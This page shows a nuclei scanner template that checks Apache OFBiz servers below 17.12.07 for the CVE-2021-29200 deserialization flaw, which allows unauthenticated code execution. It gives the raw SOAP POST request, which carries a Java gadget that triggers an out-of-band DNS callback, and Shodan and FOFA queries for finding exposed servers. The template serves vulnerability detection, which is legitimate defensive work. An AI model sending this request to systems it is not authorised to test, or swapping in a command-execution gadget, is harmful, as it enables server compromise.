Apache OFBiz < 17.12.07 - Arbitrary Code Execution

criticalseverity

9.8CVSS score

55.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack

Impact

Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code, leading to complete server compromise.

Fix

Upgrade to Apache OFBiz version 17.12.07 or later.

How to confirm it

Send: POST /webtools/control/SOAPService
Positive when: contains in interactsh_protocol "dns" AND contains "value=\"responseMessage\""

Run it with nuclei: nuclei -id CVE-2021-29200 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-29200

info:
  name: Apache OFBiz < 17.12.07 - Arbitrary Code Execution
  author: your3cho
  severity: critical
  description: |
    Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack
  impact: |
    Unauthenticated attackers can exploit unsafe deserialization to execute arbitrary code, leading to complete server compromise.
  remediation: |
    Upgrade to Apache OFBiz version 17.12.07 or later.
  reference:
    - http://www.openwall.com/lists/oss-security/2021/04/27/4
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29200
    - https://github.com/freeide/CVE-2021-29200
    - https://lists.apache.org/thread.html/r108a964764b8bd21ebd32ccd4f51c183ee80a251c105b849154a8e9d%40%3Ccommits.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r708351f1a8af7adb887cc3d8a92bed8fcbff4a9e495e69a9ee546fda%40%3Cnotifications.ofbiz.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29200
    cwe-id: CWE-502
    epss-score: 0.5537
    epss-percentile: 0.99041
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2021,cve,apache,ofbiz,deserialization,rce,vuln

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header/>
            <soapenv:Body>
              <ser>
                <map-HashMap>
                  <map-Entry>
                    <map-Key>
                      <cus-obj>{{generate_java_gadget("dns", "http://{{interactsh-url}}", "hex")}}</cus-obj>
                    </map-Key>
                    <map-Value>
                      <std-String value="STDSTRING"/>
                    </map-Value>
                  </map-Entry>
                </map-HashMap>
             </ser>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'value="responseMessage"'

References

Use this check only on systems you are authorised to test. Where the data comes from